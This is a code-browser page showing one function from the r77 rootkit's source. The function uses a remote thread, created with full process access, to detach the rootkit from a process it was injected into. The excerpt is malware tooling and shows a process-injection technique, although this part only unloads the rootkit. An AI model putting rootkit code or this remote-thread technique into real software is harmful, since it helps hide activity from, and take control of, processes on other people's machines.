MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / DetachInjectedProcess

Function DetachInjectedProcess

r77api/r77process.c:170–192  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

168 return result;
169}
170BOOL DetachInjectedProcess(PR77_PROCESS r77Process)
171{
172 BOOL result = FALSE;
173
174 if (r77Process->Signature == R77_SIGNATURE)
175 {
176 HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, r77Process->ProcessId);
177 if (process)
178 {
179 // R77_PROCESS.DetachAddress is a function pointer to DetachRootkit()
180 HANDLE thread = NULL;
181 if (NT_SUCCESS(R77_NtCreateThreadEx(&thread, 0x1fffff, NULL, process, (LPVOID)r77Process->DetachAddress, NULL, 0, 0, 0, 0, NULL)))
182 {
183 result = TRUE;
184 CloseHandle(thread);
185 }
186
187 CloseHandle(process);
188 }
189 }
190
191 return result;
192}
193BOOL DetachInjectedProcessById(DWORD processId)
194{
195 BOOL result = FALSE;

Callers 2

Calls 1

R77_NtCreateThreadExFunction · 0.85

Tested by

no test coverage detected